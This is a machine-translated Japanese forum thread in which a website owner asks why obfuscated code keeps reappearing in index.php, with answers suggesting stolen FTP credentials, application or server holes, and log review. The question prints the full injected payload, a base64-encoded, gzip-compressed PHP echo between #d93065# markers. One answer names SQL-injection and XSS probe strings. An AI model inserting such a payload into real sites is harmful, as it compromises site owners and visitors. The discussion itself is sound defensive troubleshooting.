なぜこの悪質なコードがindex.phpファイルに追加されていますか？

Question

私のインターネットウェブサイトは次のコードに感染し続けています。私はそれを取り除き続けて、ある日の後におそらくそれが再びあるかもしれない。助けてください。

#d93065# 
echo(gzinflate(base64_decode("tVXbjptADP2VNi+BRmmZgbkglr70E/qIeIgTyLLahhRQ0CrKv9c2QzbZknRVaZWLPB7P8bF9Bh7adVPtu+9VGiRd83LcN3VXdy/7IjmtV9360Su2Rb9tN/6xTLP5MpRAPx2BFrCMYSlAxWACUBaMBm1BB6DRo0CBlrRCU6Lb8M7FvolAKrABRCEoTcGhYYNjEHgpQRnGjikMl2giHiiyLDJB3JHRKysTvqKgjUABCHsVbCPiTkwM0aB08RTg7dKMJWxMiCvH1oCIJyggMqYgjwXJVeiQy8evAIFtwQ/WaQc2hiH4vKJThrct8SCT01sQzEEwFDeKslg6qjgC/UMuPOi20UX8I54KM3gbYbiagQeGDtsDIWpSRCzpvHF1YyTRD11aFbsGYbORFBGOxg5FtKQtnrDirpuhYO1aKM4aEeTBSMNIipHE2YGcpOBWTzRb8hwm532xpEPcS2Wv2C3jOxKakIfhaiggdtdB8rxvy0YNsgn4HJc9eTUG8U9oSQ61oVs54dIco1FPoZvSuakD0Fl/aIcfpcArYpc6Uv/Q0PlSvJEROm8j3tDXgHVLYvcQL7XnlH+fwajL6eD3Tub6zo7zcXfyf2b99zWfAn3/g+4Dn+GKb4FgFTEgxkjtlIC5FL9e9OTze55nQf613T9XnTeHuZ8c0lkxW8wOK/x7niWnqvQOfpH21W5T99kh55fbrug/CanGV9vvfusf+7RM2jTLk1OT/uyaardNyrrxEqXN57RKqkUq/OMTWaVX+G3aLppsVmKWBn/1rx/4/7gim6x6U8xyr8+e8i9iEQmfeRR+4bV+8vDNvWr/AA=="))); 
#/d93065# 

編集：コードが再び発生した場合、どのようにコードが表示されたかを知る方法はありますか？それはプロバイダーか何から来るのだろうか？ 私のアカウントはすべて感染しているだけでなく、

Answer 1

あなたのFTPアカウントが侵害されている可能性があります。 FTPパスワードを変更し、どこにも保存しないでください。ウェブを清掃し、役立つのを待ってください。 FTPパスワードをコンピュータに保存する場合は、ウイルス/マルウェアがないか再度確認してください。いくつかのマルウェアがあなたのFTPパスワードを取得してしまうことがあります。 Total CommanderのFTPアカウントの一覧に表示されます。

Answer 2

あなたのPHPコードを確認してください。攻撃者がファイルを変更できる脆弱性があります。または、Webサーバーが脆弱な可能性があります。

誰か（またはボット/スクリプト）が繰り返し実行していて、アプリケーションを実行するすべての部分（サーバー+コード）を確保していないためです。

@pomehが示唆するように、サーバーログを監視して、どのファイルがアクセスされているのかを確認してください。

Answer 3

あなたのサイトはおそらく攻撃の可能性があります。開いた「穴」を修正しないので、攻撃者はコードを再度挿入することができます。

Answer 4

サーバーログとFTPログを確認することから始めます。これは、問題がどこにあるかのヒントを与えるはずです。私の推測では、あなたのサイトは危険にさらされており、ユーザーは後でアクセスするためにシンプルなPHPシェルを残しています。これはほとんどの場合のシナリオです。これはログを見るだけで解明できます。これは少し時間がかかるかもしれませんし、何を探すべきか経験の少ない人が必要です（トラバーサル包含のようなもの - and 1=1、xss-<script>alert、これらはほんの一例です）。 さらに深刻な侵入があった場合、ログを消去してトラックをカバーすることができるようになると明らかにするのがより難しくなります。そのため、ルートキットが安全であるかどうかをチェックすることもあります。 また、あなたが共有ホストにいるかどうかによって、サーバーのアクセス権が乱れて、別のWebサイトが侵害された結果、Webサイトが脆弱になる可能性があります。多くのウェブサイトがこのように攻撃されているため、中小規模のホスティングプロバイダの大半はこの分野で十分なセキュリティを提供していないため、サーバー上でホストされている最も安全性の低いウェブサイトと同じくらい安全です。 他の回答で述べたように、最近公開された悪用があった場合は、Googleを介して、またはhttp://www.exploit-db.com/などのオープンソースのソリューションチェックを使用しています。最後に、サーバーとそれが実行しているサービスを確認することができます。